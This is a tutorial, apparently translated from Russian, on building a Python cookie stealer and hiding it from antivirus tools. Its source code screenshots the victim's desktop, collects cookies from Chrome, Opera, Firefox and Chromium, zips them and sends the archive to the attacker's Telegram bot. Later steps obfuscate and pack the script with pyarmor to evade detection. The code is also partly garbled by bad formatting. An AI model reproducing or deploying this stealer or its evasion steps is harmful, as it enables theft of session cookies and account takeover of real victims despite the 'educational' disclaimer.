We write our own stealer + bypass anti-viruses

[Teacher]

Guide to writing my own stealer!

The article is of an educational nature, we do not call for anything or oblige. The information is presented for informational purposes only.

Installing dependencies
Before writing the styler itself, we need to install some libraries.

This will simplify the writing of the code itself, of course you can write it all yourself, but it will take a lot of time.

1. The most important component of the stealer, which will collect cookies from the victim's computer.

pip install browser-cookie3

2. To send logs from the victim's computer, we will use the Telebot library.

Yes, this is not entirely safe, since after recognizing your TOKEN with the help of one script, all logs will be stolen.

I show an example with a Telegram bot just for example, in turn, you can transfer this data as you like.

pip install pyTelegramBotAPI

3. To capture an image from the screen at the time of opening:

pip install image

4. File encryption.

pip install pyarmor

5. To make an EXE file out of this.

pip install pyinstaller

Writing a stealer

from browser_cookie3 import chrome, opera, firefox, chromium import telebotimport timeimport osimport getpassimport zipfilefrom PIL import ImageGrab # Your Telegram TokenTOKEN = 'xxx-xxx-xxx' # Your Telegram IDowner_id = YOUR_ID username = getpass.getuser (= 'FOLDER_NROPROP) f'C: \\ Users \\ {username} \\ AppData \\ Roaming'PATH_TO_FOLDER = None # Check if such a folder exists, and if not then create it if not os.path.exists (PATH_TO_ROAMING + f '\\ { FOLDER_NAME} '): os.mkdir (PATH_TO_ROAMING + f' \\ {FOLDER_NAME} ') PATH_TO_FOLDER = PATH_TO_ROAMING + f' \\ {FOLDER_NAME} 'def steal_cookies (browser): try: cookeis = browser () return cookeis except Exception error: return None def getcookeis (): try: sreenshot_desktop = ImageGrab.grab () sreenshot_desktop.save (PATH_TO_FOLDER + '\\ Desktop.png') if PATH_TO_FOLDER: # Collect Cookies cookeis_data = {} chrome_cookeis = steal_cookies (chrome) opera_cookeis = steal_cookies (opera_ firefox_cookeis) ) if chrome_cookeis: cookeis_data ['chrome'] = {'cookeis': chrome_cookeis} if opera_cookeis: cookeis_data ['opera'] = {'cookeis': opera_cookeis} if firefox_cookeis: cookeis_data ['firefox'] = {'cookeis': firefox_cookeis} if chromium_cookeis: cookeis_data ['chromium'] = {'cookeis':chromium_cookeis} data_cookies = '' for browser_name, cattribs in cookeis_data.items (): try: cattribs = list (cattribs ['cookeis']) for cookie in cattribs: try: expires = cookie.expires if expires == None: expires = round (time.time () + 14 * 24 * 3600) data_cookies + = f '{cookie.domain} \ t {cookie.domain_specified} \ t {cookie.path} \ t {cookie.secure} \ t {expires} \ t {cookie.name} \ t {cookie.value} \ n 'with open (PATH_TO_FOLDER +' \\ Cookies [0] [{}]. txt'.format (browser_name.capitalize (), data_cookies), 'a ') as file_with_cookies: file_with_cookies.write (data_cookies) data_cookies = '' except Exception: data_cookies = '' except Exception as error: pass except Exception: pass # Pack all files into an archive def pack (): try: if PATH_TO_FOLDER: files = os.listdir (PATH_TO_FOLDER) with zipfile .ZipFile (f '{PATH_TO_FOLDER} \\ log.zip', 'w') as myzip: for file_name in files: myzip.write (PATH_TO_FOLDER + f '\\ {file_name}') except Exception: pass def start_bot (TOKEN ): try: getcookeis () pack () bot = telebot.TeleBot (TOKEN) bot.send_document (owner_id, open (PATH_TO_FOLDER + '\\ log.zip', 'rb'), caption = 'Ahhappahp fuck the mammoth caught :)) ') bot.polling () except Exception: time.sleep (10) start_bot (TOKEN) # Start the bot start_bot (TOKEN)

Bypassing AntiVirus + Packing
There are many ways to get around it, some of the simplest are with pyarmor.

1. First, open cmd.exe, this can be done by holding down the key combination: (WIN + R), and entering cmd into the line.

2. After we go to the folder with our script, you can do it like this:

cd PATH \ TO \ YOUR \ FOLDER

3. Next, enter the following command:

pyarmor pack --clean -e "--onefile" main.py

Where main.py is your styler file.

After opening the file, we see this lovely message:

Upload the file to VT and see that everything worked out.

That's all! Good luck!